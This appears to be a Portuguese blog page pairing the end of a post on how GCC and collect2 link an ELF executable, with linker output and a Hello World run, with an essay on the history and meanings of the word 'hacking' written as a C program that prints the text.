 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crtn.o
...

ou

# gcc programa1.o -o programa1 -v -m32
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_i386 --hash-style=gnu -dynamic-linker /lib/ld-linux.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7/32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32 -L/lib/i386-linux-gnu -L/lib/../lib32 -L/usr/lib/i386-linux-gnu -L/usr/lib/../lib32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. -L/lib/i386-linux-gnu -L/usr/lib/i386-linux-gnu programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crtn.o
...

O que o gcc realmente faz é invocar o collect2 (wrapper  para o ld (binutils)) informando todos os arquivos-objeto que devem ser lincados.

É verdade que o ld pode ser utilizado diretamente; de toda sorte, o gcc/collect2 já informa todas as libs necessárias para o linking, o que facilita bastante.

Após terminado o processo, é possível verificar que o executável está devidamente lincado.

# file programa1
programa1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa0c...bf73, not stripped

programa1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe07...8df3, not stripped

E, finalmente, executá-lo.

# ./programa1
Hello World


Conclusão

Pudemos, neste post, acompanhar de forma breve o processo de construção de um executável ELF, exemplificando os respectivos procedimentos no ambiente GNU/Linux através do GCC. No próximo, iniciaremos uma abordagem prática da engenharia reversa que possibilitará um entendimento objetivo da estrutura ELF, assim como do método e das ferramentas utilizadas na reversão.

Até lá!


Mais Informações

Reversing – Secrets of Reverse Engineering – Eldad Eilam
Reverse Engineering
A Introduction to GCC – Brian Gough
Compiler, Assembler, Linker and Loader: A Brief Story
Basics of GCC compilation process
GNU C Compiler Internals/GNU C Compiler Architecture
GCC front-end Whitepaper - Andi Hellmund
Programming language
List of programming languages by type
C (programming language)
Low-level programming language
Assembly Language
Machine code

terça-feira, 8 de janeiro de 2013

Mas o que diabos é HACKING?

#include <stdio.h>

int main()
{
    char post[] =
    {
        "Hello World!\n\n"

        "Sejam bem vindos ao Hacking bits. Apenas mais um repositório\n"
        "sobre hacking, perdido nesta vastidão de elétrons.\n\n"

        "Mas o que diabos é HACKING?\n\n"

        "Ih! Já estou vendo os partidários dos jargões de olho no que\n"
        "vem  a seguir! Ainda bem que a minha intenção não é  a de me\n"
        "aprofundar  na etimologia e  no  neologismo, mas a de apenas\n" 
        "transmitir um extrato que sirva de intróito.\n\n"

        "'To hack' é, em uma de suas acepções, fazer  uma  gambiarra,\n"
        "seja  ela de  qualidade ou  não. Quem de  vocês nunca fez um\n"
        "hack  como cortar  uns fios  na  instalação  elétrica   para\n"
        "adicionar  outra  tomada, ou substituir o pé de  uma cadeira\n"
        "quebrada  por  qualquer objeto  que ali  sirva, ou até mesmo\n"
        "colocar  cachaça ou  álcool tubarão no  tanque do carro para\n"
        "sair do prego? Nesse sentido, tudo isso é  hacking... seja a\n"
        "área qual  for. Entretanto, é importante ressaltar que  essa\n"
        "significação,  apesar de  se parecer genérica  está longe de\n"
        "exaurir ou condensar as demais.\n"

        "Os  conservadores defendem que o termo  'hacker' não deveria\n"
        "ser usado como  sinônimo dos  novos conceitos  que maculam a\n"
        "sua   ideia   original.  Exemplos  desses  usos   estão  nas\n"
        "divulgações  da mídia ao  descrever simploriamente um hacker\n"
        "como um criminoso do ciberespaço e  nas autoproclamações sem\n"
        "sentido que vemos aos montes.\n\n"

        "Em  1959, o TMRC  (Tech Model Railroad Club), do MIT, cunhou\n"
        "os sinônimos para Hack e Hacking no seu  TMRC  Dictionary. É\n"
        "importante  frisar que  os termos já existiam, todavia, eram\n"
        "utilizados  em contextos diferentes. E  é neste ponto que se\n"
        "observa certamente  um exemplo do  poder mutante da  língua,\n"
        "ao ser capaz de se adaptar ao zeitgeist.\n\n"

        "A despeito dos sinônimos já existentes, o TMRC usava, em seu\n"
        "meio, significados  distintos. Esses, ainda novos, não  eram\n" 
        "de  conhecimento da grande  massa e pelos  motivos a seguir,\n"
        "não tiveram  a menor chance, até  hoje, de competirem com os\n"
        "demais.\n\n"

        "Qual  é  mesmo um dos  maiores  poderes em ação na sociedade\n"
        "global?\n\n"

        "Acertou quem disse: a MÍDIA.\n"
        "E a mídia de massa vive de puro sensacionalismo! Fato.\n\n"

        "A  mais  antiga  referência  ao  termo  hacker,  vinculado a\n"
        "computadores,  é,  ironicamente,  do jornal   'The Tech'  do\n" 
        "próprio  MIT  (MIT student newspaper de 20/09/1963).  Quando\n"
        "digo  ironicamente,  refiro-me  ao  fato de  o  próprio MIT,\n" 
        "apesar   de   não    ter    sido   o  TMRC,  ter   dado   um\n"
        "'DELETE TMRCDICTIONARYTOMASS.DAT.-I', ao vincular os  termos\n"
        "hacker e  hacking a uma  prática,  digamos,  ilícita;  muito\n"
        "embora não tenha sido o intuito.\n"

        "Porém... tudo  indica que a notícia não se  propagou a  bons\n"
        "olhos, e a mídia fez a festa, iniciando mais uma mutação  na\n"
        "denotação  dos termos.  Melhor  dizendo, atribuindo-lhes uma\n"
        "nova acepção,  assim como o tinha  feito  o próprio TMRC  ao\n"
        "criar o seu jargão.\n\n"

        "Considerando-se  as   neologias  ou  usos  diacrônicos   dos\n"
        "referidos   vocábulos,  uma  coisa  é  certa:  um   hacker é\n"
        "um hacker e ponto; seja ele criminoso ou não. Da mesma forma\n"
        "que  um  arrombador de cofres  pode  ser  um mocinho  ou  um\n"
        "bandido,  bastando  apenas  optar  por  trabalhar  para  uma\n"
        "empresa  da área ou  sair explodindo  bancos.  E, seguindo a\n"
        "mesma  linha,  qualquer  que  seja  o  indivíduo  detido por\n"
        "estar usando o metasploit para  criar payloads comprometendo\n"
        "governos, e/ou por usar phishing para obter senhas de contas\n"
        "bancárias,  pode ser chamado de  hacker.  No  entanto, saber\n"
        "se estava a fazer o hacking no entendimento do TMRC, aí, são\n"
        "mais quinhentos... poderia, quem sabe, estar  fazendo  na 3a\n"
        "acepção   do  Michaelis (derivando  o verbo do   substantivo
\n"
       
"
hack) O_o\n\n"

        "Em verdade,  todos os sinônimos  registrados estão corretos,\n"
        "nenhum deixando de existir por conta da formulação de novos.\n"
        "O que  acontece é  que  em  um  determinado  período  sempre\n"
        "haverá algum que esteja mais em voga, ofuscando seus 'primos\n"
        "significantes'.  Eles  servem  apenas  para   diferenciarmos\n"
        "ações ou coisas num  dado  espaço  e  tempo. De  toda sorte,\n"
        "será  que  o que realmente importa  não é  sabermos, de  nós\n"
        "mesmos, o que 'diabos' somos e fazemos?!\n\n"

        "Sim!  O   que diabos é HACKING para vocês? Comentem! E até a\n"
        "próxima.\n\n"

        "Agradeço ao Luiz Vieira  'Hack Proofing Labs' e  ao  Alberto\n"
        "Fabiano 'SciTech::Inno::Blog' pelo grande apoio na confecção\n"
        "deste escrito.\n\n"

        "Mais Informações\n\n"

        "* TMRC Dictionary - 1959 - 1st Edition\n"

        "* First Recorded Usage of 'Hacker' - Gustavo Duarte\n"
        "* The Jargon File - Eric Steven Raymond - v4.4.7, 29/12/2003\n"
        "* How to Become a Hacker - Eric  S Raymond - Rev 1.44,  2012\n"
        "* Hackers   and  crackers:  a lesson in  etymology and clear\n"
        "  communication - Chad Perrin - 16/08/2010\n"
        "* The Origin of 'Hacker' - Imran Ghory - 01/04/2008\n"
        "* Uma Breve Folksonomia dos Hackers - Adriano Cansian -  You\n"
        "  Sh0t the Sheriff - Edição 2\n"
        "* The Hacker Manifesto - The Mentor - 08/01/1986\n"
        "* De onde vêm as palavras? - Cláudio Moreno - 03/12/2011\n"
        "* A logomarca e o ornitorrinco - Cláudio Moreno\n"
        "* A logomarca e o ornitorrinco - conclusão - Cláudio  Moreno\n"

        "* Online Etymology Dictionary - 'hack'\n"
        "* Online Etymology Dictionary - 'hacker'\n"
        "* Dicionário Michaelis Online - 'hack'\n"  // INSTIGANTE
        "* iDicionário Aulete - 'gambiarra'\n"      // 3° SIGNIFICADO
        "* Como dizer ‘gambiarra’ em inglês? - Denilson de Lima\n"
    };

    printf("%s", post);

    return 0;
}


# gcc helloworld.c -o helloworld
Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.